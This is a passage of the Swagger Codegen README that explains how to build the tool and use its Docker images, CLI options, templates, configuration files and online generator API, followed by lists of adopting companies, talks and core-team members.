clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partal results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Cisco](http://www.cisco.com/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Interactive Intelligence](http://developer.mypurecloud.com/) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from Shine Solutions @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [Takuro Wada](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | Kotlin | @jimschubert (2016/05/01) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | Java Play Framework | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsum (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Eiffel: @jvelilla * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofi2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP (Guzzle): @baartosz * PowerShell: @beatcracker * Rust: @farcaller * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsum * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) If you want to join the committee, please kindly apply by sending an email to [email protected] ([@wing328](https://github.com/wing328)) with your Github ID. ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Apex | | | Bash | @frol (2017/07) @bkryza (2017/08) | | C++ | @ravinikam (2017/07) @stkrwork (2017/07) | | C# | @mandrean (2017/08) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | | | Elixir | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | @bbdg (2017/07) @JFCote (2017/08) @sreeshas (2017/08) @jfiala (2017/08) | | Kotlin | | | Lua | @daurnimator (2017/08) | | NodeJS/Javascript | @CodeNinjai (2017/07) @frol (2017/07) @cliffano (2017/07) | | ObjC | | | Perl | @wing328 (2017/07) | | PHP | @jebentier (2017/07) @dkarlovi (2017/07) @mandrean (2017/08) | | Python | @taxpon (2017/07) 